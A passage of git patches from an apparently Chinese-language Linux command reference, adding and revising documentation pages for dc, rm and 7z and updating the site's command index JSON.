1.83 11.98 0.00 51.75 2210.60 -10:18:13 PM all 6.31 0.00 10.80 0.00 1.00 5.32 0.00 76.58 1795.33 -10:18:19 PM all 1.75 0.00 3.16 0.75 0.25 1.25 0.00 92.85 1245.18 -10:18:22 PM all 11.94 0.00 19.07 0.00 1.99 8.29 0.00 58.71 2630.46 -10:18:25 PM all 11.65 0.00 19.30 0.50 2.00 9.15 0.00 57.40 2673.91 -10:18:28 PM all 11.44 0.00 21.06 0.33 1.99 10.61 0.00 54.56 2369.87 -Average: all 9.27 0.00 16.18 0.30 1.50 7.64 0.00 65.11 2173.54 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:36:21 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:36:24 AM all 1.81 0.00 7.03 0.00 0.00 6.37 0.00 0.00 0.00 84.79 +09:36:27 AM all 1.82 0.00 6.88 0.00 0.00 5.83 0.00 0.00 0.00 85.47 +09:36:30 AM all 1.95 0.00 5.86 0.00 0.00 4.98 0.00 0.00 0.00 87.21 +09:36:33 AM all 3.95 0.00 6.50 0.00 0.00 5.46 0.00 0.00 0.00 84.09 +09:36:36 AM all 4.05 0.00 6.21 0.00 0.00 5.64 0.00 0.00 0.00 84.10 +09:36:39 AM all 4.21 0.00 6.92 0.00 0.00 5.33 0.00 0.00 0.00 83.54 +09:36:42 AM all 3.72 0.00 7.17 0.00 0.00 6.05 0.00 0.00 0.00 83.05 +09:36:45 AM all 3.97 0.00 6.93 0.00 0.00 6.65 0.00 0.00 0.00 82.46 +09:36:48 AM all 4.30 0.00 9.55 0.00 0.00 9.55 0.00 0.00 0.00 76.59 +09:36:51 AM all 4.35 0.00 9.31 0.00 0.00 8.79 0.00 0.00 0.00 77.55 +Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76 ``` 上两表显示出当要正确反映系统的情况，需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。 - - From 468c910776281041d85e6798de2de7c4fe6ae138 Mon Sep 17 00:00:00 2001 From: Zhang Zijing <50045289+pluveto@users.noreply.github.com> Date: Thu, 18 Aug 2022 08:39:27 +0800 Subject: [PATCH 0518/1019] feat: add `dc` (#402) --- command/dc | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 command/dc diff --git a/command/dc b/command/dc new file mode 100644 index 00000000000..532a85970a3 --- /dev/null +++ b/command/dc @@ -0,0 +1,60 @@ +dc +=== +任意精度计算器 + +## 说明 + +dc 是一款逆波兰表达式计算器，支持无限制精度的算术运算。它还允许您定义和调用宏。通常，dc从标准输入读取，也可以通过参数传入文件来求值。 + +## 语法 + +```shell +dc [文件] +``` + +## 示例 + +``` +10 //输入数字10 +10 //输入数字10 +* //输入运算类型*表示乘 +p //输入p得到计算结果 +100 +q //输入q退出dc +``` + +## 支持的运算 + ++ 从堆栈中弹出两个值，将它们相加，然后压栈结果。 + + + +- 弹出两个值，从弹出的第二个值中减去弹出的第一个值，并压栈结果。 + + + +* 弹出两个值，将它们相乘，然后压栈结果。结果中分数位数取决于当前精度值和两个参数中的分数位数。 + + + +/ 弹出两个值，将弹出的第二个值与弹出的第一个值相除，然后推送结果。分数位数由精度值指定。 + + + +% 弹出两个值，计算/命令将执行的除法的剩余部分，并推送该值。计算的值与序列 `Sd dld/Ld*- `计算的值相同。 + + + +~ 弹出两个值，将弹出的第二个值与弹出的第一个值相除。首先推送商，然后推送余数。除法中使用的小数位数由精度值指定。 + +（序列 SdSn lnld/lnld% 也可以完成此功能，但错误检查略有不同。） + + +^ 使用弹出的第一个值作为指数，第二个值作为基数，弹出两个值并进行幂运算。忽略指数的分数部分。 + + +| 弹出三个值并计算模幂。 弹出的第一个值用作约简模数； 这个值必须是一个非零数字，并且应该是一个整数。 弹出的第二个用作指数； 该值必须是非负数，并且该指数的任何小数部分都将被忽略。 弹出的第三个值是取幂的基数，它应该是一个整数。 对于小整数，这类似于序列 Sm^Lm%，但与 ^ 不同的是，此命令适用于任意大的指数。 + + + +v 弹出一个值，计算其平方根，然后压栈它。精度值的最大值和参数的精度用于确定结果中的小数位数。 From af379c5ce5b45fef9d34bf9c4c03bdfa85d63181 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 18 Aug 2022 08:46:33 +0800 Subject: [PATCH 0519/1019] fix: rename dc => dc.md (#402) --- command/dc | 60 --------------------------------------------------- command/dc.md | 48 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 48 insertions(+), 60 deletions(-) delete mode 100644 command/dc create mode 100644 command/dc.md diff --git a/command/dc b/command/dc deleted file mode 100644 index 532a85970a3..00000000000 --- a/command/dc +++ /dev/null @@ -1,60 +0,0 @@ -dc -=== -任意精度计算器 - -## 说明 - -dc 是一款逆波兰表达式计算器，支持无限制精度的算术运算。它还允许您定义和调用宏。通常，dc从标准输入读取，也可以通过参数传入文件来求值。 - -## 语法 - -```shell -dc [文件] -``` - -## 示例 - -``` -10 //输入数字10 -10 //输入数字10 -* //输入运算类型*表示乘 -p //输入p得到计算结果 -100 -q //输入q退出dc -``` - -## 支持的运算 - -+ 从堆栈中弹出两个值，将它们相加，然后压栈结果。 - - - -- 弹出两个值，从弹出的第二个值中减去弹出的第一个值，并压栈结果。 - - - -* 弹出两个值，将它们相乘，然后压栈结果。结果中分数位数取决于当前精度值和两个参数中的分数位数。 - - - -/ 弹出两个值，将弹出的第二个值与弹出的第一个值相除，然后推送结果。分数位数由精度值指定。 - - - -% 弹出两个值，计算/命令将执行的除法的剩余部分，并推送该值。计算的值与序列 `Sd dld/Ld*- `计算的值相同。 - - - -~ 弹出两个值，将弹出的第二个值与弹出的第一个值相除。首先推送商，然后推送余数。除法中使用的小数位数由精度值指定。 - -（序列 SdSn lnld/lnld% 也可以完成此功能，但错误检查略有不同。） - - -^ 使用弹出的第一个值作为指数，第二个值作为基数，弹出两个值并进行幂运算。忽略指数的分数部分。 - - -| 弹出三个值并计算模幂。 弹出的第一个值用作约简模数； 这个值必须是一个非零数字，并且应该是一个整数。 弹出的第二个用作指数； 该值必须是非负数，并且该指数的任何小数部分都将被忽略。 弹出的第三个值是取幂的基数，它应该是一个整数。 对于小整数，这类似于序列 Sm^Lm%，但与 ^ 不同的是，此命令适用于任意大的指数。 - - - -v 弹出一个值，计算其平方根，然后压栈它。精度值的最大值和参数的精度用于确定结果中的小数位数。 diff --git a/command/dc.md b/command/dc.md new file mode 100644 index 00000000000..2da3e61722e --- /dev/null +++ b/command/dc.md @@ -0,0 +1,48 @@ +dc +=== + +任意精度计算器 + +## 说明 + +dc 是一款逆波兰表达式计算器，支持无限制精度的算术运算。它还允许您定义和调用宏。通常，dc从标准输入读取，也可以通过参数传入文件来求值。 + +## 语法 + +```shell +dc [参数] [文件...] +``` + +## 示例 + +```shell +10 # 输入数字10 +10 # 输入数字10 +* # 输入运算类型*表示乘 +p # 输入p得到计算结果 +100 +q # 输入q退出dc +``` + +## 支持的运算 + +`+` 从堆栈中弹出两个值，将它们相加，然后压栈结果。 + +`-` 弹出两个值，从弹出的第二个值中减去弹出的第一个值，并压栈结果。 + +`*` 弹出两个值，将它们相乘，然后压栈结果。结果中分数位数取决于当前精度值和两个参数中的分数位数。 + +`/` 弹出两个值，将弹出的第二个值与弹出的第一个值相除，然后推送结果。分数位数由精度值指定。 + +`%` 弹出两个值，计算/命令将执行的除法的剩余部分，并推送该值。计算的值与序列 `Sd dld/Ld*- `计算的值相同。 + +`~` 弹出两个值，将弹出的第二个值与弹出的第一个值相除。首先推送商，然后推送余数。除法中使用的小数位数由精度值指定。 + +（序列 SdSn lnld/lnld% 也可以完成此功能，但错误检查略有不同。） + + +`^` 使用弹出的第一个值作为指数，第二个值作为基数，弹出两个值并进行幂运算。忽略指数的分数部分。 + +`|` 弹出三个值并计算模幂。 弹出的第一个值用作约简模数； 这个值必须是一个非零数字，并且应该是一个整数。 弹出的第二个用作指数； 该值必须是非负数，并且该指数的任何小数部分都将被忽略。 弹出的第三个值是取幂的基数，它应该是一个整数。 对于小整数，这类似于序列 Sm^Lm%，但与 ^ 不同的是，此命令适用于任意大的指数。 + +`v` 弹出一个值，计算其平方根，然后压栈它。精度值的最大值和参数的精度用于确定结果中的小数位数。 From 480003bbf54bd9d7bec1f65009601f1c99bbb6e1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 18 Aug 2022 08:56:38 +0800 Subject: [PATCH 0520/1019] Update dc.md (#402) --- command/dc.md | 51 +++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 45 insertions(+), 6 deletions(-) diff --git a/command/dc.md b/command/dc.md index 2da3e61722e..c78f672aa83 100644 --- a/command/dc.md +++ b/command/dc.md @@ -10,18 +10,57 @@ dc 是一款逆波兰表达式计算器，支持无限制精度的算术运算 ## 语法 ```shell -dc [参数] [文件...] +dc [选项] [文件...] +``` + +### 选项 + +```shell +-e, --expression=EXPR # 评估表达式 +-f, --file=FILE # 评估文件内容 +-h, --help # 显示此帮助并退出 +-V, --version # 输出版本信息并退出 +``` + +```shell +p 打印堆栈顶部的值并以换行符结束语句。 +n 打印堆栈顶部的值并以空语句结束行。 +f 打印整个堆栈，不做任何更改。 +P 从栈顶弹出值。 +c 清除堆栈。 +d 复制顶部值并将其推入主堆栈。 +r 反转堆栈中顶部两个元素的顺序。 +Z 从堆栈中弹出值，计算其中的位数并压入该数字。 +X 从堆栈中弹出值，计算其中的小数位数并压入该数字。 +z 将堆栈长度推入堆栈。 +i 从堆栈中弹出值并将其用作输入基数。 +o 从堆栈中弹出值并将其用作输出基数。 +k 从堆栈中弹出值并使用它来设置精度。 +I 将输入基数的值推入堆栈。 +O 将输出基数的值压入堆栈 +K 将精度值压入堆栈。 ``` ## 示例 +下面是 `dc` 命令在命令行完成的计算 `10 * 10` 得出结果 `100`，并推出的过程 + ```shell -10 # 输入数字10 -10 # 输入数字10 -* # 输入运算类型*表示乘 -p # 输入p得到计算结果 +$ dc + +10 # 1. 输入数字10 +10 # 2. 输入数字10 +* # 3. 输入运算类型*表示乘 +p # 4. 输入p得到计算结果 100 -q # 输入q退出dc +q # 5. 输入 q 退出 dc +``` + +示例显示在命令行结果 `509` + +```bash +$ dc --expression="50 10 * 9 + p" +509 ``` ## 支持的运算 From 8e596b722ad58c4e2fe7b379466a89e093cdc7fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Thu, 18 Aug 2022 14:32:49 +0800 Subject: [PATCH 0521/1019] Update rm.md --- command/rm.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/command/rm.md b/command/rm.md index 3c34eb50bc2..f0198cbdb5e 100644 --- a/command/rm.md +++ b/command/rm.md @@ -98,6 +98,12 @@ rm -r testdir rm -r -i testdir ``` +**批量删除 `icons` 文件夹中的子文件夹中的 data 文件夹** + +```shell +rm -rf icons/**/data +``` + **rm 忽略不存在的文件或目录** > -f 选项（LCTT 译注：即 “force”）让此次操作强制执行，忽略错误提示 From 87f0072c3d7a2ef62edf78496ddc1e509e8fbfb4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9E=81=E7=AE=80XksA?= <43670614+XksA-me@users.noreply.github.com> Date: Sun, 21 Aug 2022 16:36:46 +0800 Subject: [PATCH 0522/1019] Add 7-zip.md (#403) --- command/7z.md | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 command/7z.md diff --git a/command/7z.md b/command/7z.md new file mode 100644 index 00000000000..e0cbc75fdbf --- /dev/null +++ b/command/7z.md @@ -0,0 +1,48 @@ +## 7z + +用于解压缩各种类型的压缩包，还拥有超高的压缩比。 + +我用 7-Zip 解压过：zip、iso、7z压缩文件。 + +## 安装 +在 Linux 中输入以下命令安装 7-Zip。 + +```bash +# Ubuntu 系统 +apt-get update +apt-get install p7zip-full -y +``` + +## 实例 + +介绍几个常用场景：解压、压缩、查看（压缩包内容）。 + +1、将压缩文件 text.7z 在当前目录下解压缩。 + +```bash +7z x text.7z +``` + +2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。 + +```bash +# 注意 -o 用来指定解压缩文件存放目录，-o 后是没有空格的,直接接目录 +7z x text.7z -r -o/home/text +``` + +3、将文件 /home/text 压缩成 text.7z。 + +```bash +7z a text.7z -r /home/text +``` + +4、查看压缩包 text.7z 内容，但不解压。 + +```bash +7z l text.7z +``` + +## 官网 + +更多安装使用方法可以访问官网学习：https://www.7-zip.org/ + From d8ce6058d2b40c5573eb2563b74f6d90b42136c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sun, 21 Aug 2022 16:41:57 +0800 Subject: [PATCH 0523/1019] Update 7z.md --- command/7z.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/command/7z.md b/command/7z.md index e0cbc75fdbf..e475ea4680d 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,10 +1,11 @@ ## 7z -用于解压缩各种类型的压缩包，还拥有超高的压缩比。 +拥有极高压缩比的开源压缩软件。 -我用 7-Zip 解压过：zip、iso、7z压缩文件。 +用 7-Zip 解压过：zip、iso、7z压缩文件。 ## 安装 + 在 Linux 中输入以下命令安装 7-Zip。 ```bash From 81f6812ff5fb7afc7789b0d7b02ee75bf17cc90a Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 21 Aug 2022 22:29:01 +0800 Subject: [PATCH 0524/1019] fix: fix formatting error. (#403) --- command/7z.md | 3 ++- dist/data.json | 12 +++++++++++- dist/data.min.json | 2 +- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/command/7z.md b/command/7z.md index e475ea4680d..e20a42cd038 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,4 +1,5 @@ -## 7z +7z +=== 拥有极高压缩比的开源压缩软件。 diff --git a/dist/data.json b/dist/data.json index ea640bc9aa3..2ddbe870d6c 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1,4 +1,9 @@ { + "7z": { + "n": "7z", + "p": "/7z", + "d": "拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。" + }, "ab": { "n": "ab", "p": "/ab", @@ -434,6 +439,11 @@ "p": "/date", "d": "显示或设置系统时间与日期" }, + "dc": { + "n": "dc", + "p": "/dc", + "d": "任意精度计算器" + }, "dd": { "n": "dd", "p": "/dd", @@ -1647,7 +1657,7 @@ "nice": { "n": "nice", "p": "/nice", - "d": "改变程序执行的优先权等级" + "d": "调整程序执行的优先权等级" }, "nisdomainname": { "n": "nisdomainname", diff --git a/dist/data.min.json b/dist/data.min.json index d34e6602534..2d87ddd015d 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整